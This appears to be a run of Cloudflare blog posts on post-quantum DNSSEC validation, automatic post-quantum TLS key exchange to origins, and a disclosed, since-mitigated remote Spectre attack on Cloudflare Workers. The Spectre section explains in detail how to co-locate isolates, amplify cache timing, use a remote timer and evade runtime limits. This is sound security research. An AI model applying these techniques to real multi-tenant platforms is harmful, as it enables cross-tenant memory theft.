Handling DNS over transports other than UDP is not itself unusual. Cloudflare Radar shows that around 85% of queries to 1.1.1.1 arrive over UDP. The platform behind 1.1.1.1, Big Pineapple, also powers other DNS services, including Gateway DNS. Across all services handled by Big Pineapple, around 60% of queries arrive over UDP. The remaining 40% use transports such as TCP, DNS over TLS (DoT), and DNS over HTTPS (DoH).

Those figures describe how queries reach Cloudflare’s resolver services, not how 1.1.1.1 communicates with authoritative servers. Large ML-DSA-44 responses can still cause additional TCP retries on that side, but handling DNS over transports other than UDP is already a normal part of operating 1.1.1.1 at scale.

Supporting two algorithms introduces a downgrade risk

Replacing an existing DNSSEC algorithm cannot happen all at once. If a zone publishes only ML-DSA-44, resolvers that do not support it cannot validate the zone. The practical migration path is therefore to publish conventional and post-quantum keys and signatures together.

That preserves compatibility, but it does not provide post-quantum security by itself. RFC 6840 specifies that “validators SHOULD accept any single valid path.” This rule lets validators use whichever published algorithm they support.

Once a conventional algorithm such as ECDSA is no longer secure, however, the same behavior creates a downgrade path. An attacker could forge an ECDSA-only answer that a resolver accepts despite supporting ML-DSA-44, as illustrated below.

Preventing this downgrade requires an authenticated signal that a zone should be validated with ML-DSA-44. 1.1.1.1 uses DS records published by the parent zone for this purpose. If the authenticated DS RRset contains a record for a supported post-quantum algorithm, the signal is present.

1.1.1.1 then deliberately applies a more restrictive local validation policy. It requires at least one valid post-quantum validation path; a conventional path is no longer sufficient. If no ML-DSA-44 path validates, validation fails. This is not (yet) normal DNSSEC validation behavior, but RFC 4035 allows local resolver policy to determine whether additional signatures must be checked and how conflicting results are handled.

Conventional signatures can remain available for older resolvers without allowing post-quantum-capable resolvers to fall back to them. The downgrade signal is only post-quantum secure if ML-DSA-44 deployment and downgrade protection extend from the trust anchor through every delegation. Rotating the zone key more frequently does not solve the problem: an attacker can target a vulnerable key anywhere higher in the chain and forge every delegation below it.

The road to post-quantum DNSSEC

Adding a post-quantum algorithm to DNSSEC requires more than standardizing the cryptography. It needs implementations in cryptographic libraries, an IANA-assigned DNSSEC algorithm number, support from authoritative servers and validating resolvers, and adoption throughout the DNS delegation chain. ML-DSA-44 now has the initial prerequisites for deployment. NIST has standardized it, and common cryptographic libraries implement it. Its use in DNSSEC is described in the ML-DSA for DNSSEC Internet-Draft, and IANA recently assigned it DNSSEC algorithm number 18.

Adding ML-DSA-44 validation to resolvers is one of the first deployment steps, but it does not create a complete post-quantum chain of trust. Authoritative servers must sign zones with ML-DSA-44, registrars must accept and submit the corresponding DS records, and registries must publish them in parent zones.

This adoption must extend through every parent zone to the DNS root. The root must adopt ML-DSA-44, and its post-quantum key must become a trust anchor for validating resolvers. Any level without post-quantum protection remains a downgrade point.

There is little value in signing a zone with ML-DSA-44 if no resolver validates its signatures. Enabling ML-DSA-44 validation by default on 1.1.1.1 is therefore an important early step. It lets us measure the operational cost of signature verification, additional bandwidth, and increased TCP use between resolvers and authoritative servers.

As with previous migrations, we will also test real-world deployability using background probes on a small fraction of Cloudflare Challenge Pages. These probes will test whether clients can resolve and reach an ML-DSA-44-signed test domain across real networks. We invite other DNS operators and implementers to begin testing ML-DSA-44 at scale. Together, these measurements will show what adjustments are needed as adoption grows.

What this means for you

If you use 1.1.1.1, you do not need to change anything. ML-DSA-44 validation happens automatically when a zone publishes the necessary DNSSEC records, while existing DNSSEC zones continue to validate as before.

This work covers the resolver side of DNS. Our next step is adding ML-DSA-44 signing support to Cloudflare Authoritative DNS and corresponding DS record support to Cloudflare Registrar, which will be available to all customers for free. That will let us test the complete path, from generating signatures and publishing DNSKEY records to transporting and validating them through 1.1.1.1.

Want to see post-quantum DNSSEC in action… all 2,420 bytes of it? Query our dnstest.dev zone using 1.1.1.1:

You can also use Is your DNS resolver post-quantum ready? to test your current resolver. The community is tracking ML-DSA-44 software support on GitHub.

Automatic Key Exchange: faster, post-quantum secure origin handshakes for 45 billion daily connections (and counting)

Post Syndicated from Suleman Ahmad original https://blog.cloudflare.com/automatic-key-exchange-for-origins/

Every time Cloudflare opens a new TLS 1.3 connection to an origin server, we have to make a guess: the protocol requires us to commit to a key agreement algorithm in the very first packet we send, before the origin has told us anything about itself or what it can support. If we guess right, the handshake completes in one round trip. Guess wrong, and the origin replies with a HelloRetryRequest, we start over, and the connection costs two round trips.

For years, our guess was the same for every origin on the Internet: X25519. Widely supported, but as it turns out, suboptimal for roughly 30% of the origin connections we've since measured.

Today we're announcing Automatic Key Exchange, an extension of Automatic SSL/TLS that replaces the guess with a measurement. We probe each origin to learn which key agreement algorithms it supports and prefers, then lead with that algorithm on the first try, preferring the post-quantum hybrid X25519MLKEM768 wherever the origin can speak it. 

With the ongoing rollout of Automatic Key Exchange across origin connections, HelloRetryRequests fell from roughly 52% to 3.7%, cutting more than 150 ms off connection handshake latency at p90. In addition, as part of our ongoing rollout, hundreds of thousands of domains now have post-quantum origin connections that nobody had to configure, with that number growing daily.

While the milliseconds are important, that second part may matter more. Somewhere right now, an adversary is recording encrypted traffic it can't read yet, betting that it will be able to in the future (an attack known as harvest-now, decrypt-later). Cloudflare is sprinting to make the Internet quantum-secure by 2029, the year some industry experts estimate classical encryption algorithms could be breached. That day has a name: Q-Day. Meeting that deadline can't depend on millions of website operators each becoming expert cryptographers. It has to be automatic. Until today, preferring post-quantum connections required a manual setting: either you turn them on from Cloudflare’s side, or you have your origin server insist upon them. It was easy to get wrong. But today it’s just … automatic!

TLS 1.3 handshake: guessing the key exchange algorithm

Every secure web connection starts with a TLS handshake, which authenticates the server and derives a shared secret key. Our previous Automatic SSL/TLS blog posts cover that process in detail.

As Cloudflare operates as a reverse proxy, what appears to be a single secure connection is actually two: one between the visitor and Cloudflare, and a second between Cloudflare and the origin server. Each connection operates independently, with its own handshake, identity checks, and encryption keys.

Automatic Key Exchange affects the second connection. When Cloudflare connects to the origin, Cloudflare acts as the TLS client and must begin the handshake. We initiate the connection by sending a ClientHello message containing the hostname and a list of supported key agreement algorithms.

In the happy path, TLS 1.3 can establish a new encrypted connection in just one network round trip (shown on the left in the diagram above). In this case, Cloudflare sends a ClientHello listing its supported key agreement algorithms, along with one or more client keyshares. If the origin accepts that choice, it responds and the handshake completes. This predictive key exchange is an innovation of TLS 1.3, and a large part of why it’s faster than TLS 1.2.

Otherwise, if the origin prefers a different option, it sends a HelloRetryRequest (HRR) and asks Cloudflare to try again (the flow on the right in the diagram above). Cloudflare then sends a second ClientHello, generating a new client keyshare based on the key agreement algorithm specified by the origin. The connection still succeeds, but the retry adds a full network round trip before Cloudflare can fetch content. This is like missing a shortcut in Mario Kart: you still reach the finish line, but you lose the time the shortcut was supposed to save.

Either way, using the client keyshare, the server generates the shared key. The server then returns a server keyshare with which the client can also compute the shared key. This shared key is used to protect the rest of the connection using symmetric cryptography, such as AES.

The cost of the safe guess

For years, our initial client keyshare guess for origin connections using TLS 1.3 was static; we'd always send X25519 while advertising support for other key agreement algorithms. This was a safe strategy because over 95% of origins support X25519, and any origins that didn’t could issue a HelloRetryRequest (HRR) without breaking the connection.

However, X25519 is vulnerable to quantum computers. Since September 2023, we have advertised support of post-quantum key agreement to origins: first as X25519Kyber768Draft00 and today as X25519MLKEM768 (the standardized version of the algorithm). Crucially, advertising support differs from leading with a keyshare in the ClientHello. An X25519MLKEM768 keyshare is 1,216 bytes compared to X25519's 32 bytes, pushing the ClientHello past a single network packet. While the TLS standard allows multi-packet segments, some legacy middleboxes and origin servers can fail when receiving ClientHello messages split across multiple packets. In our previous study, around 0.34% of scanned origins failed to complete the TLS handshake when receiving a post-quantum keyshare first, while the vast majority of origins still relied on classical X25519.

Therefore, to prevent any possible breakage of origin connections, we used HRR as a safety valve. We only advertised post-quantum support, sent a classical X25519 keyshare, and required capable origins to request a post-quantum exchange via retry. For origins that did not support the HRR flow, customers had the option to manually opt into leading with X25519MLKEM768 keyshare. Between 2023 and today, the percentage of origins supporting post-quantum key exchange algorithms grew from 0.5% to 12.8%, and we expect that to keep climbing as hosting stacks upgrade to PQ safe algorithms.

While safe, this default of only upgrading to post-quantum secure connections via retry added unnecessary latency for two reasons:

  • While all modern builds of OpenSSL, BoringSSL, and rustls support X25519MLKEM768, they handle a classical X25519 keyshare differently. Depending on the build, some older builds may accept it by default unless explicitly configured to prioritize the post-quantum secure keyshares, while newer builds will immediately issue an HRR to prioritize post-quantum connections.
  • Over 6% of origins prefer either P-256 or P-384 over X25519, triggering an HRR round trip even for purely classical connections due to our static choice of initial client keyshare.

To eliminate these wasted round trips, we began scanning origin servers to map their exact key agreement capabilities as part of Automatic SSL/TLS. Using these scan results, we automatically tailor our initial keyshare on a per-origin basis: maximizing post-quantum connections without risking site outages, all while making our connections faster for applicable domains.

Extending Automatic SSL/TLS to the post-quantum age

Automatic SSL/TLS now includes Automatic Key Exchange. Across millions of origins, guessing different keyshares carries operational risk, because we have no advance knowledge of how any individual origin is configured. So rather than infer capability, we measure it directly, reusing the scanning pipeline that already powers Automatic SSL/TLS.

For a growing number of origins, this delivers post-quantum key agreement on the very first try at connection setup, without extra round trips and without requiring any manual setup.

This is how it works: 

  1. For each TLS 1.3 capable origin, we run a series of a few lightweight TLS handshakes, each offering exactly one key agreement group: X25519, P-256, P-384, P-521, or X25519MLKEM768. Together these probes tell us the full set of algorithms the origin supports. And because the active scanning happens outside your production traffic path, we confirm that both your origin and the network in between can handle connections with a stronger key agreement before any real traffic depends on it.
  2. A single domain often fronts multiple subdomains that may resolve to different origins with varying capabilities. We evaluate each subdomain independently and weight the results by its actual traffic volume. This ensures a domain-wide preference reflects HTTP traffic volume rather than weighing a dormant subdomain equally with your busiest endpoint. For example, if almost all traffic hits your www and api subdomains, those endpoints would heavily determine the key exchange preference for the entire domain.
  3. From the key agreement groups an origin supports, we then select the strongest candidate using a strict priority order: post-quantum hybrids (X25519MLKEM768) first, falling back to the fastest classical algorithm accepted by the origin (X25519, P-256, P-384, or P-521).
  4. Once we know the optimal key-agreement an origin prefers, we start rolling it out. The new preference goes to a small share of that origin's traffic first, and the system monitors its failure and HelloRetryRequest (HRR) rate while it runs. If retries climb above that origin's baseline, we roll the change back, the same way Automatic SSL/TLS reverts an encryption mode upgrade that may misbehave. At the worst case of rolling back, a bad key-agreement preference costs us an additional round trip latency, not a broken TLS connection for the duration of the rollout phase.
  5. Origin configurations change over time: a customer moves to a new load balancer, a TLS library ships post-quantum support in a routine release, an operator turns off an older key-agreement algorithm support. We rescan every origin daily, so a server that adds post-quantum support, or stops supporting the curve we were using, gets a new preference at the next scan.

For most customers, there is nothing to configure. If your origin speaks TLS 1.3, we will automatically negotiate the strongest key exchange it supports, for instance, if an origin supports X25519MLKEM768, Cloudflare prefers it and can establish post-quantum key agreement without any extra round trip latency.

Configuring Automatic Key Exchange

Automatic Key Exchange is active by default for all existing and new domains, requiring no manual action for most setups. If you want, you can manage these settings independently in the Cloudflare dashboard under SSL/TLS > Overview > Configure > Origin connection & post-quantum encryption.

With the Automatic Key Exchange toggle enabled, Cloudflare scans your origins out-of-band and leads with a dynamically selected keyshare. With it disabled, scanning stops and Cloudflare reverts to a fixed/static default key agreement order.

We have also introduced a new Compliance requirements setting under Automatic Key Exchange. You can filter which key agreements Cloudflare is permitted to use and advertise support for origin connections. When configured, Automatic Key Exchange and all origin-facing traffic strictly observe these rules:

  • Post-quantum hybrid: Restricts negotiation exclusively to hybrid post-quantum key agreements (X25519MLKEM768), removing classical algorithms entirely. All your successful origin TLS 1.3 connections will be guaranteed to be post-quantum secure.
  • Federal Information Processing Standards (FIPS): Restricts negotiation exclusively to FIPS-compliant key agreements.

Selecting both options requires an algorithm that satisfies both criteria simultaneously; if no overlapping key agreement exists, the configuration is rejected. See the Automatic Key Exchange documentation for details.

By selecting these options, you configure your intent rather than specific algorithms. This ensures that as compliance standards evolve or new post-quantum algorithms emerge, your configuration stays up to date automatically. 

However, these requirements are worth approaching carefully. They do not grant an origin new cryptographic capabilities, they only narrow what Cloudflare can negotiate. 

An important note: Enforcing post-quantum hybrid on an origin that lacks X25519MLKEM768 support leaves no mutually supported algorithm, causing all TLS 1.3 connections to fail. Unless you have a strict policy obligation to enforce post-quantum exchange or FIPS compliance across every connection, leave both options unselected and allow Automatic Key Exchange to negotiate the optimal algorithms safely for you.

Making the Internet safer and faster, together

Automatic Key Exchange works for domains whose origins speak TLS 1.3 (as predicting preferred key agreement method is a TLS 1.3-only feature). It’s enabled by default, and our scanning pipeline has already assigned key exchange preferences to well over a million domains while enrollment continues across the remaining network.

From that initial cohort, we found that roughly 64% of them stayed on the classical X25519 as their preference, so nothing about their connections changed. Around 33% of them now have their preference set to X25519MLKEM768, which causes traffic to those origins protected from harvest-now, decrypt-later quantum attacks in a single round trip. The remaining 3% selected a different classical curve preferred by their origin, such as P-384, P-256, or P-521.

Approximately 9,000 domains each day have their key agreement preference set to a key agreement method other than X25519. Nearly all of these move directly to preferring post-quantum key exchange, while the remainder adopt other classical curves better supported by their origin’s TLS configuration.

As we mentioned earlier, prior to Automatic Key Exchange, almost every post-quantum origin handshake required a HelloRetryRequest (HRR) because our static initial guess defaulted to classical X25519. The result was that post-quantum connections paid a mandatory second round trip before completing the TLS handshake.

With the rollout underway, that latency penalty is virtually gone for almost all post-quantum capable origins: 99.2% of post-quantum TLS 1.3 connections of the currently scanned cohort of origins now complete in a single round trip. Beyond removing the extra round trip, we see that across that cohort, post-quantum origin traffic keeps growing from roughly 25 billion connections to 45 billion per day. A significant part of that growth has come from Automatic Key Exchange upgrading classical connections to a post-quantum preference for scanned origins.

Many origins support multiple key agreement algorithms without preferring one over another. For example, an origin that supports post-quantum key agreement may still accept a classical (X25519) key share without rejecting it or issuing an HRR. Passive observation, therefore, cannot reveal the origin’s full capabilities. Active probing allowed Automatic Key Exchange to uncover thousands of origins whose post-quantum support never appeared in their origin traffic.

Once our scanner discovered such origins, and updated their client keyshare preference, post-quantum connections quickly accounted for the vast majority of traffic to these origins. Other classical key agreement algorithms represent a much smaller share for these upgraded domains, primarily driven by multi-origin setups with a mix of post-quantum and classical-only backends.
Automatic Key Exchange does more than just drive post-quantum adoption. It also helps pair origins with their preferred classical curve (other than X25519), reducing overall HRR rates across all scanned origins.

Before we enabled Automatic Key Exchange, roughly 52% of origin connections for the scanned domains required an HRR. That rate fell to just 3.7%. Avoiding an HRR removes an entire round trip from TLS connection setup, reducing p90 latency more than 150 ms for the scanned origins. This particularly benefits dynamic requests and CDN cache misses that may require a new TLS 1.3 connection to the origin, ultimately reducing latency for eyeballs. Requests sent over existing keep-alive connections do not require a new handshake and are therefore unaffected.

Is the server post-quantum capable?

There are a number of different tools to use to find out if a server supports post-quantum key agreement. We offer one of these tools via Cloudflare Radar. Enter the hostname or IP addresses of your server, and we will check if it supports post-quantum TLS key exchange. Note that if you enter a hostname proxied by Cloudflare, Radar will check the connection to Cloudflare rather than your origin server behind it.

Beyond verifying algorithm support, we have added the ability in the tool to check for post-quantum TLS implementation bugs. If the results come back negative, it will also try to characterize the reason for the failure. Failures often stem from legacy middleboxes, firewalls, or server buffers dropping multi-packet payloads or failing to reassemble a ClientHello split across TCP segments. Other times the origin gives up on an unrecognized key share instead of sending a HelloRetryRequest as TLS 1.3 requires, or sends one and then cannot finish the handshake.

Radar gives you a clear picture of whether the network path handles post-quantum traffic cleanly. Automatic Key Exchange will not switch a domain whose origin fails these checks, so clearing them is what lets the upgrade happen.

What if your origin doesn't support post-quantum key agreement yet?

Even if your origin does not yet support post-quantum encryption today, the good news is that enabling Auto Key Exchange will still be beneficial. Automatic Key Exchange finds what your origin supports. If X25519MLKEM768 is unavailable, Cloudflare continues using a compatible classical key agreement and can still avoid unnecessary HelloRetryRequest round trips by learning which one your origin prefers.

However, Automatic Key Exchange can only prefer post-quantum connections when your origin server already supports the key agreement algorithm. Today, we see over 12% of individual origins across our network support post-quantum encryption. Post-quantum secure algorithms support in TLS server implementations is increasing as recent versions of BoringSSL, OpenSSL, and rustls include support. The enterprise origin stacks, cloud load balancers, and embedded TLS terminators are upgrading on their own timelines.

If you want to add post-quantum protection capability for your domain’s origin-facing connections, you have two options:

  • You can upgrade your TLS endpoint. Many current frameworks and TLS libraries enable X25519MLKEM768 by default. However, if you previously configured allowed curves manually for your server’s TLS configuration, those legacy settings might override the new defaults. It is important to audit every device terminating or inspecting TLS—including load balancers, WAF appliances, and other middleboxes—to ensure X25519MLKEM768 is enabled on everything that sits between your origin and Cloudflare. If you’re on a managed hosting service, ask your provider whether it supports X25519MLKEM768 (many do).

See Post-quantum cryptography between Cloudflare and your origin for supported software, configuration examples, and verification steps.

What's next

We’ve been building Automatic SSL/TLS in public since 2024. Automatic Key Exchange is the second step in a longer arc, not the last. We’ve been public about what’s on the roadmap since then and will continue to provide updates as we ship. A few specific things we’re working on:

Per-origin preference granularity 

Today, Automatic SSL/TLS makes its decisions at the domain level. One origin server's behavior can hold the whole domain back. We're working on a per-subdomain/per origin granularity so that key agreement (and SSL/TLS encryption modes) can vary across the multiple origins that serve a single domain.

On-demand scans

If you've just upgraded your origin's TLS stack, you shouldn't have to wait for the next scheduled scan by Automatic SSL/TLS. Originally, we wanted to scan enough to keep up with changes on the origin, but not too much so as to burden origins who ultimately return the same security information. We're building an option to trigger an on-demand rescan from the dashboard or API, so post origin upgrade you can move to the better key agreement immediately rather than waiting for our system to catch up.

Beyond triggering instant updates, this on-demand scan will live directly in your Cloudflare dashboard as a diagnostic tool. It will let you test your own origin server's behavior on demand and see exactly which key agreements it can successfully negotiate, and characterize the reasons for any failures (similar to the external Cloudflare Radar scanning tool).

Automatic post-quantum origin authentication  

Post-quantum key agreement keeps today's traffic from being decrypted by a future quantum computer. It does nothing about an attacker who uses one to forge a certificate and impersonate your origin. Closing that gap takes post-quantum authentication, which came to origin connections earlier this year when Authenticated Origin Pulls and Custom Origin Trust Store gained support for ML-DSA certificates.

There is an important issue to deal with here: downgrades. Imagine your origin server supports both a classical RSA/ECDSA certificate and a new post-quantum ML-DSA certificate so legacy clients don't break. On Q-Day, an active adversary sitting between Cloudflare and your origin could intercept the TLS handshake and silently drop the post-quantum offer. Cloudflare, seeing only a classical response, would fall back to validating the legacy RSA/ECDSA certificate, which the attacker can forge using a quantum computer.

Preventing this downgrade in the broader WebPKI is complicated. One proposed path involves Certificate Authorities (CAs) placing a post-quantum signature on a classical certificate to prove that a legacy server truly doesn't support PQ yet. While this is a likely direction for the public web, it will take some time and coordination. What’s quicker (if possible!) is to stop trusting classical certificates altogether.

And for origin connections, we can! We plan to extend Automatic SSL/TLS scanning to detect origin support for post-quantum authentication (ML-DSA certificates; and in future Merkle Tree Certificates). Once our scanner identifies such an origin, Cloudflare can automatically disable classical fallback for customers who want strict post-quantum protection, eliminating downgrade risks without disrupting un-upgraded endpoints.

Check it out

At Cloudflare, we believe that strong security on the Internet should be free, automatic, and on by default. Universal SSL made encryption-by-default real for the browser-to-Cloudflare connection. Automatic SSL/TLS is doing the same for the Cloudflare-to-origin connections, and now extends that work to post-quantum key agreement.

If you want to see what your origin encryption level looks like today, check the SSL/TLS section of your dashboard. If you want to verify your origin's post-quantum readiness directly, Cloudflare Radar will tell you if you need to update your server stacks. And if your origin already supports post-quantum, Automatic Key Exchange will tell Cloudflare so that we will connect to your origin faster and more securely.

A revisit of remote Spectre attacks on Cloudflare Workers

Post Syndicated from Martin Schwarzl original https://blog.cloudflare.com/revisiting-spectre-attacks-on-workers/

In 2021, we assessed remote Spectre attacks against Cloudflare Workers. Based on the results, we shipped a production defense called Dynamic Process Isolation (DyPrIs), which identifies maliciously looking scripts and isolates them into separate processes. Since then, newer techniques in the area of stabilizing Spectre attacks have been discovered. To understand if these techniques posed a threat to our Workers production environment, we decided to internally reassess the remote Spectre attack. Building an updated proof-of-concept on the production environment allowed us to empirically assess the risk of Spectre attacks under production workloads. 

To mount a successful side-channel attack in production, an external attacker has to overcome additional obstacles such as activity on shared hardware resources, interrupts, context switches, and coarse-grained timers. Our research uncovered a limitation in the implementation of DyPrIs and we managed to demonstrate a remote Spectre attack reliably leaking up to 12 bit/s with a 99% accuracy in the production environment of Cloudflare Workers. As a consequence of this research, we improved DyPrIs, integrated the V8 Sandbox and an in-process isolation mechanism to further reduce the risk of memory disclosure attacks. 

Today we are publishing a paper describing our findings, co-authored by Albert Pedersen, Haocheng Xiao, Sam Ainsworth, Nigel Topham, and Martin Schwarzl. This paper covers research done in 2024 and early 2025.

Note that the presented attack is mitigated already in the production system due to countermeasures applied by Cloudflare Workers Runtime team. We did not find any indicators of active exploitation over the last three years.

Cloudflare Workers security model

Cloudflare Workers runs untrusted JavaScript on the edge. Leveraging language-level isolation, in the form of V8 isolates, tens of thousands of tenants can share the same operating-system process. Each Worker has its own separate JavaScript heap. This design keeps startup latency low and lets us run many tenants very efficiently compared to full process isolation. Around the runtime we have multiple layers of defense such as automated V8 patch pipelines, a two-layered sandbox consisting of Linux namespaces and seccomp filters, Cap’n Proto RPC, and the possibility to schedule certain scripts in separate process sandboxes. Still, a single arbitrary read vulnerability within a Worker process can lead to cross-tenant leakage. One vulnerability that is very hard to mitigate exploits the nature of speculative execution, namely in-process Spectre.

Spectre

You can think of speculative execution in terms of hiking. At some point you arrive at a branch and have to predict where to go. If the prediction was correct, you saved some time and could enjoy the sun and a refreshing drink at a mountain hut. However, if you speculate in the wrong direction, you have to turn back. The trail looks untouched, but your footsteps remain in the mud. 

Speculative execution in CPUs works similarly. The branch prediction performs an educated guess about a branch’s outcome ahead of time and the CPU speculatively executes it. If the prediction was correct, speculative execution saved some time. However, if the prediction is incorrect, the CPU has to discard the results, roll back and execute the other branch. Because these speculatively executed instructions only exist temporarily in the CPU pipeline and are never permanently retired or committed, the literature refers to them as transient instructions and generalizes the concept as transient execution.

However, due to the transient execution, there are still some traces left in the microarchitectural state for instance in CPU caches. Thus, an attacker can use Spectre to transiently access memory out of bounds, encode a single bit of information into the cache state and exploit the latency of reaccessing data to infer whether the bit was set or not. 

To mitigate against in-process Spectre attacks, Cloudflare Workers freezes local timers, disallows multithreading and shared memory and actively detects, periodically shuffles memory and isolates malicious-looking scripts into separate processes.

Attack primitives

The Cloudflare Workers platform deliberately restricts timers. During CPU-only execution, time is effectively frozen. Date.now() and performance.now() do not provide a continuously advancing high-resolution clock. There is no shared memory and no multithreading, so the classic counter-thread timer via a SharedArrayBuffer is not available. 

To successfully mount an attack, several challenges have to be solved. First, Workers runtime is limited and co-location between an attacker and victim has to be guaranteed. Second, a reliable, ideally co-located, remote timer has to be discovered, which allows stable timing measurements.
Third, the attack runs under production conditions, meaning it requires additional stability measures such as a reliable Spectre gadget enabling transient 64-bit out-of-bounds accesses, robust signal amplification to deal with systems and networking noise, and a primitive to reliably evict data out of the cache. 

Spectre gadget

Speculative type confusion Spectre gadget

With the right Spectre gadget (snippet above), an attacker can transiently access out-of-bounds memory and encode a single bit into the cache (probeArray). The attacker then measures the memory access latency to confirm whether data has been cached or not. A faster access means the line was cached and the bit was 1. Conversely, a slower access means it was uncached and the bit was 0. In our attack, we use two different Spectre gadget types. The first one leaks compressed heap pointers, e.g., the isolate’s heap base address (root), and the other one leverages a speculative type confusion to leak from an arbitrary, attacker-crafted userspace 64-bit pointer. At the time of performing the research, the V8 Sandbox was not yet implemented at Cloudflare Workers. Under pointer compression, most objects use 32-bit compressed pointers. TypedArray was one of the few exceptions that still stored a raw 64-bit pointer to its backing store, which is exactly what our gadget abuses.

The branch obj instanceof ObjP performs a type check, i.e., a branch. To mistrain the branch prediction, we call the gadget many times on real ObjP instances, then call it on a different object with an attacker-controlled memory layout ObjI. The CPU speculates on the taken branches and follows obj.ptr[0], even though the object has a different type. To leak a single bit, we mask out one bit and use it to select one of two probeArray lines. Whether that line is cached encodes the bit. 

Exploiting the heap leakage gadget, we map neighboring objects and locate an attacker-controlled array. Our second gadget confuses two large objects that span several cache lines, so the type field lands on a different cache line than the field we read. Evicting the type field opens the speculation window while the target field stays cached, and the transient read follows an attacker-controlled 64-bit value. That turns the leak into an arbitrary-address read. A more thorough description of this technique can be found in the paper.

Local demo of leaking an arbitrary 64-bit address.

Signal amplification

A cache hit and a cache miss differ by a few nanoseconds. Moreover, a remote timer is noisy at the scale of a few microseconds up to a few milliseconds. Therefore, some form of signal amplification is required to differentiate a cache hit from a miss. Stephen Röttger and Artur Janc discovered a way to amplify a single memory access, by exploiting the tree-based pseudo least recently used (PLRU) cache-replacement policy in L1 caches. Tree-based PLRU organizes each cache set as a binary tree whose nodes point to the side used least recently, so the CPU evicts by following those pointers. With the right access pattern, an attacker can keep a target line cached indefinitely by touching its tree neighbor whenever the pointers turn toward the target. Quite elegant, right? Leveraging that behavior, the timing of a single cache event can be arbitrarily amplified such that it leads to a lot of L1 hits (faster) compared to lots of L1 misses in the opposite case.

The figure below illustrates whether a memory address X is cached or not. If it’s not cached, the access pattern leads to a lot of cache hits. If it is present, it occupies one node in the tree, and subsequently four cache lines try to fit into three nodes, which results in a lot of L1 misses.

Remote timer

As long as the signal can be amplified, a noisy remote timer is sufficient to differentiate an encoded bit. For instance, a WebSocket connection to an external server serving high-resolution timestamps is enough. The timer could be hosted at Cloudflare or at a co-located data center to the target data center running the Worker. The Worker asks the remote timer to mark a timestamp for a certain event and compute the delta for another request once the event has stopped. 

In the paper, we evaluated several different timer setups and were able to reliably achieve sub-ms resolutions on the Median with only a handful of samples even over larger topological distances. The figure below shows an amplified cache event using the tree-based PLRU amplification.

Repeatable measurements  

A single measurement is not enough to differentiate timing-encoded data reliably. Production machines are noisy, thus an attacker has to repeat each measurement at least a few times and use some statistical discriminator. Repeating a measurement in our case means resetting the cache state. Two things have to be uncached before each round. The value the speculative branch depends on has to be evicted, so branch resolution stalls long enough to open a speculation window. The probe line that encodes the leaked bit has to be evicted, so the next transient access can re-cache it.

Since there is no direct instruction available in JavaScript, the classic way to do this is to build an eviction set. An eviction set is a group of addresses that map to the same cache set as the target. Accessing them in the right pattern pushes the target out of the cache. In their attack, Stephen Röttger and Artur Janc used an eviction list to reliably evict at least into the L2 cache. This works, but it is expensive. Constructing a precise eviction set requires many timed measurements, and our timer is a noisy remote timer. The previous remote attack against Workers sidestepped the search by traversing an array larger than the L1 and L2 caches on every round. That is an option, but even slower.

Dougall Johnson described a more elegant way in his really cool blog post on portable JavaScript Spectre exploitation. The idea follows directly from the pigeonhole principle. If you allocate far more data than the cache can hold, a randomly chosen cache line is almost certainly not cached. For a 256 KB L2 cache, allocating 64 MB leaves at most a 1/256 chance that a random cache line is still in L2. So instead of evicting a specific line, you never evict at all. You pick a fresh random location that is already evicted with overwhelming probability. The cool side effect of looping frequently over that array of objects is that this will lead to an auto-eviction effect. 

To leverage this in JavaScript, we allocate a large pool of attacker and victim object pairs that exceeds the last-level cache. Each measurement round selects a fresh random pair. The object's map pointer, the hidden-class descriptor that the speculative type check reads, is therefore almost certainly already evicted.

Co-locating the attacker and victim isolate

For the attack to work, both the attacker and victim isolate must be scheduled in the same process on the same edge server. One might intuitively think this would be difficult, considering Cloudflare operates tens of thousands of edge servers, but this is in fact quite trivial on Cloudflare Workers. Because Cloudflare Workers are designed to execute on any Cloudflare edge server, invoking the victim script from the attacker script with a fetch(“https://victim.example”) will in most cases cause the scheduler to spin up an instance of the victim worker in the exact same process. The victim isolate can be kept alive by repeatedly making subrequests to it at a certain interval.

What is more, because the attack stability is highly dependent on the CPU load of the edge server running the worker script, this allows an attacker to strategically run the attack in an off-peak colo (e.g. in an Australian colo during European business hours) where the traffic levels are comparatively low.

Defeating isolate resource limits

The Cloudflare Workers runtime enforces a set of limits on all isolates to protect the platform and prevent abuse. For the purposes of conducting this attack, the relevant limits were 30 seconds of CPU time and 1,000 subrequests per invocation. These limits have since been increased, but the following principles are still relevant.

For a regular Worker, each HTTP request, a fetch event, is a new invocation that resets these limits. The catch is landing sequential requests on the same edge server. Load balancing and shifting network conditions make that unreliable. Durable Objects solve it for us.

Durable Objects are built for real-time coordination between clients, so the runtime treats every incoming WebSocket message as an invocation that resets the CPU time and request limits. The attacker opens a persistent WebSocket to a Durable Object worker and sends regular keep-alive messages. This keeps a single isolate alive and gives us a persistent, bi-directional channel to run the attack over.

One quirk cost us some time. An isolate is single-threaded, so incoming WebSocket messages are only processed when the script hands control back to the event loop. During synchronous code the runtime never sees the keep-alive, so it never resets the CPU time. If the thread stays blocked for more than 30 seconds, the runtime kills the isolate. This puts an upper bound on how much we can amplify in a single synchronous burst. Yielding regularly between bursts lets us keep an isolate alive from five to more than 20 hours.

Putting everything together

The previous attack relied mostly on repetition to amplify a single cache access, and therefore, was slowly leaking 120 bit/h. We combined tree-based PLRU amplification with measurement loops. Each iteration re-creates the cache state and thereby adds more timing difference. If an interrupt destroys the cache state in one iteration, it doesn’t matter, since later iterations cancel it out. This made the signal strong enough to classify bits with a remote WebSocket timer. The overall idea is now to combine.

We demonstrated the full end-to-end attack in the Cloudflare Workers production environment, against Workers we controlled. We first leaked memory from the attacker Worker. From there, we leaked data from a co-located victim Worker where we had intentionally placed a secret.

First, we established co-location between an attacker Worker, a victim Worker we owned, and a remote timer. Durable Objects gave us a long-lived execution context. WebSocket messages gave us a repeatable timing source. The /cdn-cgi/trace endpoint helped us confirm machine placement by looking at the fl value.

Second, we added a calibration step to probe the timer with speculatively reachable values. This step matters because production machines are noisy. Per-invocation calibration lets us classify bits from the relative difference between the zero and one distribution. This last test should lead to two clearly separable distributions.

As a first step, we leaked the isolate root from one Worker and in another Worker we used the speculative type confusion with 64-bit pointers to read from the isolate root. 

As an intermediate step, we confirmed 64-bit leakage with the second gadget by reading memory from the vDSO region. The vDSO is a convenient target because it contains human-readable strings such as gettimeofday. 

Demo Video leaking data from the JavaScript heap

